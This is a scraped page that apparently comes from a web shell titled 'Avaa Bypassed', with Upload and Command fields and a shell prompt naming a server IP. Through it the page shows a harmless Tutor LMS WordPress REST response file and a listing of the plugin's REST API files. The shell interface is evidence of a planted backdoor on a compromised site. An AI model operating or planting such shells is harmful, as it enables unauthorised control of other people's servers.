[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.221.121.16: ~ $
<?php
/**
 * Ensure REST response
 *
 * @package Tutor\RestAPI
 * @author Themeum <support@themeum.com>
 * @link https://themeum.com
 * @since 1.7.1
 */

namespace TUTOR;

use WP_REST_Response;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

trait REST_Response {

	/**
	 * Send response
	 *
	 * @since 1.7.1
	 * @since 2.7.0 renamed filter to tutor_rest_api_response like as pro API response.
	 *
	 * @param array $response The response data.
	 *
	 * @return WP_REST_Response
	 */
	public static function send( array $response ) {
		$response = new WP_REST_Response( $response );
		return rest_ensure_response( apply_filters( 'tutor_rest_api_response', $response ) );
	}
}

Filemanager

Name Type Size Permission Actions
REST_Author.php File 1.41 KB 0644
REST_Course.php File 8.26 KB 0644
REST_Course_Announcement.php File 1.53 KB 0644
REST_Lesson.php File 2.57 KB 0644
REST_Quiz.php File 9.12 KB 0644
REST_Rating.php File 1.79 KB 0644
REST_Response.php File 669 B 0644
REST_Topic.php File 1.68 KB 0644
RestAuth.php File 10.37 KB 0644